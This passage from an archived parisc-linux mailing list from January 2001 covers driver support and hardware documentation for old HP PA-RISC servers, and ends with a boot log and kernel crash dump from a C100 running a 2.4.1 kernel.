Original-Received: from dot.at (IDENT:plattner@dot-tc01-051.dot.at [212.9.128.91])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id TAA24255;
	Wed, 31 Jan 2001 19:23:34 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10087

But there are some people who are interested in writing drivers
for these machines and I want to use my E55 (9000/856). I only
need the input (doucmentation, HP-UX sources, etc) to do such
work (especially for the 8-port serial multiplexer).
Of cource I can only do that in my spare time, and of course I 
will have problems and cannot do it in only a few days, but I am
interested in having a full E55 support, although I have to work
on it.
Where can I get the INFOS to do that ????

With friendly regards

	Christoph



Pete wrote:
> 
> > > I still haven't been able to acertain if this archcetecture is supprted
> > > with the linux port...  Anyone willing to offer a yes or no?
> >
> > it's in the faq.
> 
> Yep you're right...
> 
> I even remember reading it.. I wasn't making a correlation to the server model
> and what was written, don't ask why, it's not that unclear in the faq.
> 
> -- snip --
> The earliest PA-RISC servers have proprietary HP devices attached to
> proprietary HP bus architectures. It is unlikely that documentation on these
> busses and devices will ever become available, since so few people are
> interested in spending any effort finding and releasing the docs. Machines in
> this category are the E, F, G, H, I class (aka Nova) and T500 series
> (Emerald) machines as well as some earlier, unlettered servers.
> 
> -- snip --
> 
> Having said that the G30 and G50 obviously fall into the list of lettered
> machines not supported.
> 
> Thanks..
> 
> Pete.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 800/G30, G50, E55 Support?
Date: Wed, 31 Jan 2001 10:30:42 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <200101311830.KAA29281@milano.cup.hp.com>
References: <3A7855F2.49FB7E36@dot.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619815 14800 80.91.229.3 (22 Nov 2014 01:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:15 +0000 (UTC)
Cc: plaven@ozemail.com.au, parisc-linux@thepuffingroup.com
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 11:31:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33C834A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 11:31:15 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12649
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 11:27:07 -0700
Original-Received: (qmail 14844 invoked by uid 15267); 31 Jan 2001 18:31:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14669 invoked from network); 31 Jan 2001 18:31:00 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 18:31:00 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id A791A2E9F; Wed, 31 Jan 2001 10:29:25 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA29281;
	Wed, 31 Jan 2001 10:30:46 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 31 Jan 2001 19:14:10 PST."
             <3A7855F2.49FB7E36@dot.at> 
Xref: news.gmane.org gmane.linux.ports.parisc:10088

Christoph Plattner wrote:
> But there are some people who are interested in writing drivers
> for these machines and I want to use my E55 (9000/856). I only
> need the input (doucmentation, HP-UX sources, etc) to do such
> work (especially for the 8-port serial multiplexer).
...
> Where can I get the INFOS to do that ????

I've sent some HP internal URLs to someone in HP who expressed interested
in getting SPIFI (NIO SCSI) docs published. I haven't heard back from him
in a while.

Someone from HP who shares your interest can do either (or both)
of the following two things:
o write and publish an initial version of the code you need and provide
  technical support when needed. This is what I did for ccio code.
  (which is trivial compared to writing SPIFI chip support)
o Enable someone else to write the code by: review the relevant
  unpublished docs, fix references to IP not owned by HP, delete
  people/project names, get an HP attorney to review and bless the result.

Any other takers inside HP?
If so reply to me privately and I'll try to help locate the documents.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.0
Date: Thu, 1 Feb 2001 02:49:32 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20010201024930.U4656@neep.com.au>
References: <20010126030440.A18813@parcelfarce.linux.theplanet.co.uk> <E14Nzvl-0002cJ-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619815 14802 80.91.229.3 (22 Nov 2014 01:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:15 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 11:49:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-02.iinet.net.au [203.59.24.17])
	by dsl2.external.hp.com (Postfix) with SMTP id 605464A18
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jan 2001 11:49:43 -0700 (MST)
Original-Received: (qmail 30291 invoked by uid 666); 31 Jan 2001 18:49:35 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.196.160)
  by mail.iinet.net.au with SMTP; 31 Jan 2001 18:49:35 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id CAA17533
	for parisc-linux@parisc-linux.org; Thu, 1 Feb 2001 02:49:36 +0800
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14Nzvl-0002cJ-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Wed, Jan 31, 2001 at 04:16:22PM +0000
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:10089

Alan Cox said:
> > just for giggles, i merged 2.4.1-pre10 into our tree.  no conflicts.
> 
> Bad move. 2.4.1 is incredibly broken and unstable. Stay at 2.4.0 for testing

Darn.  What did you call the tag before the merge, Mr Wilcx?

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 800/G30, G50, E55 Support?
Date: Wed, 31 Jan 2001 19:54:54 +0100
Organization: private
Lines: 51
Approved: news@gmane.org
Message-ID: <3A785F7E.4C131890@dot.at>
References: <200101311830.KAA29281@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619815 14807 80.91.229.3 (22 Nov 2014 01:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:15 +0000 (UTC)
Cc: plaven@ozemail.com.au, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 12:05:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FE7E4A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 12:05:05 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13458
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 12:00:58 -0700
Original-Received: (qmail 13661 invoked by uid 15267); 31 Jan 2001 19:05:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13545 invoked from network); 31 Jan 2001 19:05:00 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 19:05:00 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-051.dot.at [212.9.128.91])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id UAA24677;
	Wed, 31 Jan 2001 20:04:19 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10090

Plaese, contact me, if there is a chance to do something for my E55 !

Cheers

	Christoph P.


Grant Grundler wrote:
> 
> Christoph Plattner wrote:
> > But there are some people who are interested in writing drivers
> > for these machines and I want to use my E55 (9000/856). I only
> > need the input (doucmentation, HP-UX sources, etc) to do such
> > work (especially for the 8-port serial multiplexer).
> ...
> > Where can I get the INFOS to do that ????
> 
> I've sent some HP internal URLs to someone in HP who expressed interested
> in getting SPIFI (NIO SCSI) docs published. I haven't heard back from him
> in a while.
> 
> Someone from HP who shares your interest can do either (or both)
> of the following two things:
> o write and publish an initial version of the code you need and provide
>   technical support when needed. This is what I did for ccio code.
>   (which is trivial compared to writing SPIFI chip support)
> o Enable someone else to write the code by: review the relevant
>   unpublished docs, fix references to IP not owned by HP, delete
>   people/project names, get an HP attorney to review and bless the result.
> 
> Any other takers inside HP?
> If so reply to me privately and I'll try to help locate the documents.
> 
> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.1 Bits Won't Drive C100
Date: Wed, 31 Jan 2001 13:04:43 -0600 (CST)
Lines: 276
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101311234240.28937-100000@maestro.symsys.com>
References: <200101311813.KAA29222@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619816 14814 80.91.229.3 (22 Nov 2014 01:30:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 12:06:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43A2F4A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 12:06:36 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13473
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 12:02:29 -0700
Original-Received: (qmail 16381 invoked by uid 15267); 31 Jan 2001 19:06:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16370 invoked from network); 31 Jan 2001 19:06:33 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2001 19:06:33 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id NAA29144;
	Wed, 31 Jan 2001 13:04:44 -0600
In-Reply-To: <200101311813.KAA29222@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10091

On Wed, 31 Jan 2001, Grant Grundler wrote:

> Greg Ingram wrote:
> > 
> > Howdy,
> > 
> > Just tried the lastest 2.4.1 bits from CVS and it barfs on my C100.  
> > Output follows.
> 
> Greg,
> was this using the default .config?

Er, no, using the config I've been using.

> ie the following sequence:
> cvs update -A

Okay, no changes.

> make distclean

Ouch.

> make oldconfig

Couple of new items.  Left as default, no.

> make dep

Fails trying to make dependancies for reiserfs.  Hmm... double checked
and, no, I'm not asking for it.  Why isn't in our tree?  Well, I copied it
from stock 2.4.1 sources.  Now dependancies build.

> make palo

Hold on.  [ Time passes.  Greg visits the coffee pot. ] Aha!  The kernel
differs.  Hold on again, I'll try booting this one.  Kablooey!  Rats.  
Output differs and is appended below.  A lot of the differences seem
related to the change in kernel size.
 
> (where cvs update reports no changes)
> 
> 
> > No CPUs reported by firmware - probing...
> > Found CPU at fffa0000
> > CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz
> 
> This is the output I was worried wouldn't work based on my recent changes.
> It seems to be ok.
> 
> 
> > SCSI subsystem driver Revision: 1.00
> > zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
> > ncr53c8xx: 53c720 detected
> 
> drivers/scsi/ncr53c8xx.c hasn't changed in a while:
> | revision 1.14
> | date: 2000/11/15 20:02:43;  author: rhirst;  state: Exp;  lines: +2 -2
> | Allow lasi and zalon scsi in the same kernel
> 
> However, it looks like drivers/scsi/scsi_ioctl.c did:
> | revision 1.6
> | date: 2001/01/25 00:01:45;  author: willy;  state: Exp;  lines: +32 -44
> | 
> | Linus 2.4.0 merge (take one)
> | ----------------------------
> | revision 1.5
> | date: 2000/11/10 21:43:28;  author: bame;  state: Exp;  lines: +5 -0
> | merge with 2.4.0-test10
> ...
> 
> Or have you been able to boot kernels since the 2.4.0 merge?

Yes, my latest working kernel is:

	Linux apollos 2.4.0 #7 Fri Jan 26 10:52:17 CST 2001 parisc unknown

> I don't have time to chase this further (unless it crashes a box
> I'm using :^). Any other takers?

I'm going to experiment with some config changes now.

- Greg

HARD Booted.
palo ipl root@ingram Mon Jan 15 12:24:52 CST 2001
0/vmlinux 2155870 bytes @ 0x6800
0/palo-cmdline 'vmlinux HOME=/ TERM=linux root=/dev/sda3 rw'
Kernel: partition 0 file vmlinux
ELF32 executable

Entry 00100160 first 00100000 n 5
Segment 0 load 00100000 size 1438608 mediaptr 0x1000
Segment 1 load 00260000 size 173432 mediaptr 0x161000
Segment 2 load 0028c000 size 119640 mediaptr 0x18c000
Segment 3 load 002ac000 size 8192 mediaptr 0x1aa000
Segment 4 load 002d85c8 size 528 mediaptr 0x1ac5c8
branching to kernel entry point 0x00100160
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
FP[0] enabled: Rev 1 Model 11
Free memory starts at: 0xc02d9000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/sda3 rw'
PALO initrd 0-0
model   00005920 00000481 00000000 00000002 782482ee 100000f0 00000004 0000008a 0000008a
vers    0000000d
cpuid   0000016d
CPUID   vers 11 rev 13
model   9000/777/C100
led_init: chassis info: model=2 (LED), lcd_width=0, cmd_delay=40, ret0=8, ret1=8
LED display at f0190001 registered
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Coral SGC Graphics (10) at 0xf6000000, versions 0x4, 0x0, 0x77, 0x0, 0x0
2. SkyHawk 100/120 FW-SCSI (4) at 0xf5f8c000, versions 0x1f, 0x0, 0x89, 0x0, 0x80
3. U2-IOA BC GSC+ Port (7) at 0xf5fbf000, versions 0x501, 0x1, 0xc, 0x0, 0x0,  additional addresses: 0xf5f80000 
4. Raven T' Core BA (11) at 0xffd00000, versions 0x32, 0x0, 0x81, 0x0, 0x0,  additional addresses: 0xffd0c000 0xffc00000 
5. Raven T' Lasi Core RS-232 (10) at 0xffd05000, versions 0x32, 0x0, 0x8c, 0x0, 0x0
6. Raven T' Core SCSI (10) at 0xffd06000, versions 0x32, 0x0, 0x82, 0x0, 0x0
7. Raven T' Core LAN (802.3) (10) at 0xffd07000, versions 0x32, 0x0, 0x8a, 0x0, 0x0
8. Raven T' Core Centronics (10) at 0xffd02000, versions 0x32, 0x0, 0x74, 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 
9. Raven T' Core PC Floppy (10) at 0xffd0a000, versions 0x32, 0x0, 0x83, 0x0, 0x0
10. Raven T' Audio (10) at 0xffd04000, versions 0x32, 0x0, 0x7b, 0x0, 0x0
11. Raven T' Core PC Keyboard (10) at 0xffd08000, versions 0x32, 0x0, 0x84, 0x0, 0x0
12. Raven T' Core PC Keyboard (10) at 0xffd08100, versions 0x32, 0x0, 0x84, 0x0, 0x0
13. Raven T' Wax BA (11) at 0xffe00000, versions 0x1e, 0x0, 0x8e, 0x0, 0x0,  additional addresses: 0xffe03000 0xffe06000 
14. Raven T' Wax EISA BA (11) at 0xfc000000, versions 0x1e, 0x0, 0x90, 0x0, 0x0,  additional addresses: 0xffc88400 0xf4000000 
15. Raven T' Wax RS-232 (10) at 0xffe02000, versions 0x1e, 0x0, 0x8c, 0x0, 0x80
16. Raven T' Wax HIL (10) at 0xffe01000, versions 0x1e, 0x0, 0x73, 0x0, 0x0
That's a total of 16 devices.
No CPUs reported by firmware - probing...
Found CPU at fffa0000
CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz
Linux version 2.4.1 (root@ingram) (gcc version 2.96 20000925 (experimental)) #2 Wed Jan 31 12:41:12 CST 2001
free_bootmem(0x2da000, 0x7d26000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/sda3 rw
Calibrating delay loop... 99.73 BogoMIPS
Memory: 125836k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
Found i82596 at 0xffd07000, IRQ 87
early initialization of device eth0 is deferred
Initializing Lasi PS/2-keyboard port at 0xffd08000...
Support for Lasi PS/2-psaux not yet available !
Wax at 0xffe00000 found.
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Lasi PS/2 transmit buffer timeout
Lasi PS/2 transmit buffer timeout
lp0: using parport0 (interrupt-driven).
block: queued sectors max/low 83538kB/27846kB, 256 slots per queue
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize

Dumping Stack from c7f9c000 to c7f9ca00:
c000 00000000 00000040 00000000 00000000 c02754a0 00000001 00000000 ffffffff
c020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c0275364
c040 c0275364 00000032 c7f90000 c02ac000 c027a60c 00000000 00000000 00000000
c060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
c080 00000000 c02ac000 c02ac000 c7f7c000 00000000 00000000 c7f7c098 c02ac098
c0a0 00000000 c02c819c 00000000 c7f9c0ac c7f9c0ac c7f9c908 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c0e0 c7f9c000 c0119d98 00000000 00000012 00000000 00000000 00000025 00000000
c100 00000037 00000000 00000000 00000000 00000000 00000000 00000000 80000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 00000000 fffffeff 00000000 ffffffff 00000000 c02760b8 ffffffff ffffffff
c1e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
c200 ffffffff ffffffff 00000800 00000800 00000400 00000400 ffffffff ffffffff
c220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
c240 00000000 00000000 00000000 00000000 00000000 00000000 00008000 21998304
c260 00000000 c01416ec 00010000 c7ffeba0 c022778c c02387f0 000000f0 00504d70
c280 00000000 c011817c c02c7000 00008000 21998304 c02c7000 00000000 0004000a
c2a0 0000003c 0000003e c0275000 00000001 c02b3ba7 00000004 c02b3b83 00000000
c2c0 c01002cc 0000003e 00000000 00000024 0000000b c02754d4 c0275000 f00000ac
c2e0 f00000a4 000000ff ffd05800 ffd05800 ffd05800 00000060 ffffffff ffd05800
c300 002b3540 c0260000 00000000 00000000 c02ac8c0 00000000 000b0800 00000000
c320 0000001f 00000000 0000001f 00000000 0000001f 00000000 00000000 00000000
c340 00000000 00000000 00000000 00000000 00000000 00000000 00000010 00000020
c360 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000 45e69c6a 25b7ea20
c380 41800000 00000000 00000010 00000010 00000000 00000000 00000040 00000080
c3a0 00000100 00000200 00000400 00000800 7fffffff 7fffffff 41000000 00000000
c3c0 7fffffff 7fffffff 40800000 00000000 41000000 00000000 40300000 00000000
c3e0 40200000 00000000 40200000 00000000 41800000 7fffffff 40000000 00000000
c400 40000000 00000000 40800000 00000000 41000000 00000000 00000000 00000000
c420 c7f9c800 c0105cf4 00000000 00000000 00000000 00000000 00000000 00000000
c440 c0118168 c011816c 40800000 00000000 0027b000 00000000 c027a040 c027a064
c460 00000000 c027a204 00000000 00000000 00000000 c7f9c470 00000000 00000000
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 cf7928b3 9ef25167 3de4a2cf 7bbff0cc f70954ca ee12a995 dc25532b b84aa657
c4c0 70954caf e15c2c0c c2b85819 8570b033 0ae16067 15b4759c 2b1e5e6a 564a0986
c4e0 ace2a65e 59c54cbd b3fc2c28 c0105c48 cf8605f0 9f0c0be1 3e1817c3 7c469ad4
c500 c02ac000 00000000 c02ac640 c7dc07d7 8fb80faf 1f701f5f 3e968bec 7d5ba28a
c520 fac1f046 f583e08d eb07c11b c01002e0 ac1f046f 583e08df b00aa4ec 601549d9
c540 c05c26e0 80b84dc1 01709b83 02978254 c7f9c000 c027a60c c02ac000 00000000
c560 c02ac640 aea9ca4e 5d53949d bad19c68 75a338d1 eb30c4f0 d66189e1 acc313c3
c580 59862787 b37afa5c 66f5f4b9 cd9d5c20 9b3ab841 36757083 6c9c5454 d94e1dfa
c5a0 b29c3bf5 653877eb ca065a84 c028d15c 28196a13 50446174 a0fe77ba 41fcef75
c5c0 00000000 c027e000 0e4b1bb0 1ce08232 00000060 00000001 00000001 c0254bec
c5e0 99146cbb 3228d977 642707bc c028d090 90717455 20e2e8ab 41b36404 83107d5a
c600 c02a9358 c02a9308 00000000 00000000 00000000 c7f9c614 c7f9c614 c0235d18
c620 00000000 00000000 00000000 c0291858 c7f9c614 c02ca800 c02a9358 c02a92e8
c640 c0278800 00000000 00000000 00000000 0000004d 00000000 c028d930 0004000a
c660 000000f0 c02c8000 c02ca800 c0292424 c02c7000 c02a9358 c02a92f8 c02c7000
c680 c02ca800 c0260000 c02c7000 c02a9358 c02a930c 00006cc6 00014652 c0242348
c6a0 00000000 00000000 c02ca800 c02923e0 c02c7000 00010800 c7f9c608 c02754d4
c6c0 000000f0 c02c8000 c02ca800 c0260000 c02c7000 000003fc c02a930c 0000004d
c6e0 00000000 c028d930 0004000a c02a0cf8 c02c8000 c02ca800 c0260000 c02c7000
c700 c0284000 c01e5e40 ffffffff c0283cb0 c7ffc200 00001000 00000010 c024280c
c720 c02c7000 c02c3fb0 c01e5e40 c0297434 c0283de0 c0283c80 c7f9c900 00000000
c740 ffffffff 0000ffe0 080009e8 832b003e 00000000 00000008 0004000a 000000f0
c760 c02c8000 c0284000 c01e5e40 ffffffff c0283cb0 c7ffc200 c02bd000 c027e000
c780 00000063 00000008 c7f9c758 000000ff ffd05800 ffd05800 c0283c85 00000060
c7a0 ffffffff ffd05800 002b3540 c02971c0 00000000 00000000 c7f9c980 00000000
c7c0 0004000b c02c7800 c02971c0 00000000 c7ffc200 ffffffff c01e5e40 c0284000
c7e0 c02c8000 000000f0 00000000 c028d930 00000000 0000004d 00000001 00000000
c800 f00010f4 f00000ac f00000a4 00000000 c7f9c74e 00000002 c0297424 ffd07000
c820 c7f9c750 00000f20 00000000 c0260000 00000001 00000000 c7f9ca00 002b1638
c840 000b0800 00000000 0000001f 00000000 0000001f 00000000 0000001f 00000000
c860 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c880 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
c8a0 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000 00000000
c8c0 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff 7fffffff
c8e0 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
c900 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
c920 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
c940 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c960 00000000 00000000 c02971dc c02971e0 00000000 00000000 c7f9cb40 00000000
c980 00000000 c0275000 00000001 c02b3bc6 0000001f 0e681096 00000000 00000004
c9a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c9c0 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
c9e0 45e69c6a 25b7ea20 41800000 c0106704 00000010 00000010 00000000 00000000

Data access rights fault in kernel: Code=26 regs=c7f9c7c0 (Addr=00000004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
r0-3     00000000 c02c7800 c02971c0 00000000
r4-7     c7ffc200 ffffffff c01e5e40 c0284000
r8-11    c02c8000 000000f0 00000000 c028d930
r12-15   00000000 0000004d 00000001 00000000
r16-19   f00010f4 f00000ac f00000a4 00000000
r20-23   c7f9c74e 00000002 c0297424 ffd07000
r24-27   c7f9c750 00000f20 00000000 c0260000
r28-31   00000001 00000000 c7f9ca00 002b1638
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c02971dc c02971e0
 IIR: 0e681096    ISR: 00000000  IOR: 00000004
ORIG_R28: c0275000
 






From - Thu Nov 08 21:16:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 800/G30, G50, E55 Support?
Date: Wed, 31 Jan 2001 20:11:39 +0100
Organization: private
Lines: 74
Approved: news@gmane.org
Message-ID: <3A78636B.18A9195B@dot.at>
References: <200101311830.KAA29281@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619816 14817 80.91.229.3 (22 Nov 2014 01:30:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:16 +0000 (UTC)
Cc: plaven@ozemail.com.au, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 12:18:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
